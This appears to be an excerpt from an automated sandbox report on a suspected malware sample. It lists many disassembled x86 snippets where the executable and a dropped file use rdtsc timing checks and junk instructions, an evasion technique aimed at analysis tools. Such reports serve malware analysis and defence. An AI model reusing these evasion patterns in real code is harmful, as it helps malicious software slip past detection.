Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCFA3A second address: FCFA5A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FDDF0723BE7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD39E5 second address: FD39F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FDDF0E482B6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD3589 second address: FD359E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FDDF0723BE0h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE19F6 second address: FE1A02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE1A02 second address: FE1A09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE1A09 second address: FE1A0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF40D5 second address: FF40D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF40D9 second address: FF40E2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF40E2 second address: FF4109 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDF0723BE8h 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007FDDF0723BD6h 0x00000012 push edx 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF3C3F second address: FF3C45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF3C45 second address: FF3C4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF6507 second address: FF650C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF650C second address: FF6512 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF8AE3 second address: FF8AF5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c jnp 00007FDDF0E482B6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF8AF5 second address: FF8B2E instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDDF0723BD6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jc 00007FDDF0723BE2h 0x00000012 jo 00007FDDF0723BE3h 0x00000018 jmp 00007FDDF0723BDDh 0x0000001d ja 00007FDDF0723BDEh 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100DAAC second address: 100DACD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jo 00007FDDF0E482B6h 0x0000000c jnc 00007FDDF0E482B6h 0x00000012 popad 0x00000013 jne 00007FDDF0E482BEh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100CB9A second address: 100CBA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FDDF0723BD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100CE67 second address: 100CE88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDF0E482C5h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b popad 0x0000000c pushad 0x0000000d push esi 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100D266 second address: 100D26E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100D26E second address: 100D276 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100D276 second address: 100D282 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FDDF0723BD6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100D282 second address: 100D287 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100D287 second address: 100D28D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100D28D second address: 100D293 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100D6A5 second address: 100D6BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDF0723BE0h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100D6BB second address: 100D6C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100D6C3 second address: 100D6C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100D801 second address: 100D807 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1010B1D second address: 1010B43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDF0723BE3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f popad 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 pushad 0x00000015 push edi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1010B43 second address: 1010B4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1010B4C second address: 1010B50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1010B50 second address: 1010B5D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 push esi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1011D71 second address: 1011D77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1011D77 second address: 1011D7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56801A7 second address: 56801AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56801AC second address: 56801CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edi, 164AF900h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FDDF0E482BEh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56801CB second address: 56801CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56801CF second address: 56801D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56801D5 second address: 568024B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, 5Fh 0x00000005 movsx ebx, si 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebp 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FDDF0723BDEh 0x00000015 adc esi, 382949A8h 0x0000001b jmp 00007FDDF0723BDBh 0x00000020 popfd 0x00000021 jmp 00007FDDF0723BE8h 0x00000026 popad 0x00000027 mov ebp, esp 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c pushfd 0x0000002d jmp 00007FDDF0723BDDh 0x00000032 sub ah, 00000076h 0x00000035 jmp 00007FDDF0723BE1h 0x0000003a popfd 0x0000003b mov ax, C767h 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 568024B second address: 5680267 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDDF0E482C8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5680267 second address: 5680275 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5680275 second address: 568027C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56802C5 second address: 56802CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56802CA second address: 56802E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FDDF0E482BDh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56802E1 second address: 5680318 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 4EC8E532h 0x00000008 mov di, 227Eh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jmp 00007FDDF0723BE4h 0x00000015 xchg eax, ebp 0x00000016 pushad 0x00000017 mov di, cx 0x0000001a mov ebx, ecx 0x0000001c popad 0x0000001d mov ebp, esp 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 mov si, bx 0x00000025 pushad 0x00000026 popad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 568035F second address: 5680363 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5680363 second address: 5680369 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5680369 second address: 568036F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 568036F second address: 5680373 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5680373 second address: 5680384 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov cl, 26h 0x0000000e push edx 0x0000000f pop eax 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56803DE second address: 56803E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56803E2 second address: 56803E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56803E6 second address: 56803EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56803EC second address: 5680437 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, bx 0x00000006 push edx 0x00000007 pop esi 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FDDF0E482C8h 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 pushad 0x00000016 mov eax, edx 0x00000018 jmp 00007FDDF0E482BDh 0x0000001d popad 0x0000001e mov eax, dword ptr [eax] 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 jmp 00007FDDF0E482BAh 0x00000028 mov ah, 67h 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56804DE second address: 56804E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56804E2 second address: 56804E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56804E8 second address: 56804EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56804EE second address: 56804F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56804F2 second address: 5680512 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 inc edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c call 00007FDDF0723BDFh 0x00000011 pop ecx 0x00000012 movsx ebx, si 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5680512 second address: 5680519 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5680519 second address: 5680565 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 test al, al 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c call 00007FDDF0723BE2h 0x00000011 pop ecx 0x00000012 pushfd 0x00000013 jmp 00007FDDF0723BDBh 0x00000018 or ecx, 71ABF87Eh 0x0000001e jmp 00007FDDF0723BE9h 0x00000023 popfd 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5680565 second address: 568056B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 568056B second address: 568056F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 568056F second address: 5680573 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5680573 second address: 56804DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007FDDF0723B2Bh 0x0000000e mov al, byte ptr [edx] 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5680638 second address: 5680640 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, si 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5680640 second address: 5680686 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 test al, al 0x00000009 jmp 00007FDDF0723BDCh 0x0000000e jne 00007FDE609BC000h 0x00000014 jmp 00007FDDF0723BE0h 0x00000019 mov ecx, edx 0x0000001b jmp 00007FDDF0723BE0h 0x00000020 shr ecx, 02h 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5680686 second address: 568068C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 568068C second address: 56806E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop ebx 0x00000005 movzx esi, di 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rep movsd 0x0000000d rep movsd 0x0000000f rep movsd 0x00000011 rep movsd 0x00000013 rep movsd 0x00000015 jmp 00007FDDF0723BE9h 0x0000001a mov ecx, edx 0x0000001c jmp 00007FDDF0723BDEh 0x00000021 and ecx, 03h 0x00000024 jmp 00007FDDF0723BE0h 0x00000029 rep movsb 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007FDDF0723BDAh 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56806E5 second address: 56806F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDF0E482BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56806F4 second address: 56806FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56806FA second address: 568079E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDF0E482BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [ebp-04h], FFFFFFFEh 0x00000012 jmp 00007FDDF0E482C6h 0x00000017 mov eax, ebx 0x00000019 jmp 00007FDDF0E482C0h 0x0000001e mov ecx, dword ptr [ebp-10h] 0x00000021 pushad 0x00000022 pushfd 0x00000023 jmp 00007FDDF0E482BEh 0x00000028 jmp 00007FDDF0E482C5h 0x0000002d popfd 0x0000002e mov dh, ah 0x00000030 popad 0x00000031 mov dword ptr fs:[00000000h], ecx 0x00000038 jmp 00007FDDF0E482C3h 0x0000003d pop ecx 0x0000003e pushad 0x0000003f movzx eax, dx 0x00000042 jmp 00007FDDF0E482C1h 0x00000047 popad 0x00000048 pop edi 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d push eax 0x0000004e push edx 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 568079E second address: 56807A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56807A2 second address: 56807A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56807A8 second address: 56807BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDDF0723BE1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56807BD second address: 56807E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 pushad 0x0000000a mov esi, edx 0x0000000c mov ecx, edi 0x0000000e popad 0x0000000f pop ebx 0x00000010 jmp 00007FDDF0E482C1h 0x00000015 leave 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56807E5 second address: 56807F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDF0723BDFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56807F8 second address: 56803DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDF0E482C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0008h 0x0000000c cmp dword ptr [ebp-2Ch], 10h 0x00000010 mov eax, dword ptr [ebp-40h] 0x00000013 jnc 00007FDDF0E482B5h 0x00000015 push eax 0x00000016 lea edx, dword ptr [ebp-00000590h] 0x0000001c push edx 0x0000001d call esi 0x0000001f push 00000008h 0x00000021 jmp 00007FDDF0E482C0h 0x00000026 call 00007FDDF0E482B9h 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 568093F second address: 568095E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, 0D63B505h 0x00000008 mov ax, 9C81h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], ebp 0x00000012 pushad 0x00000013 mov edi, esi 0x00000015 movzx ecx, dx 0x00000018 popad 0x00000019 mov ebp, esp 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 11CE68D second address: 11CE691 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 11CE691 second address: 11CE6A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDDF0723BDAh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 11CE6A1 second address: 11CE6A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 11CDDC5 second address: 11CDDC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 11CDDC9 second address: 11CDDE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FDDF0E482C7h 0x0000000b rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 11D17F3 second address: 11D180D instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FDDF0723BDCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 11D180D second address: 11D1811 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 11D1811 second address: 11D1817 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 11D1817 second address: 11D181D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDAEBGCAAE.exe	RDTSC instruction interceptor: First address: 11D181D second address: 11D183D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FDDF0723BE3h 0x00000012 rdtsc
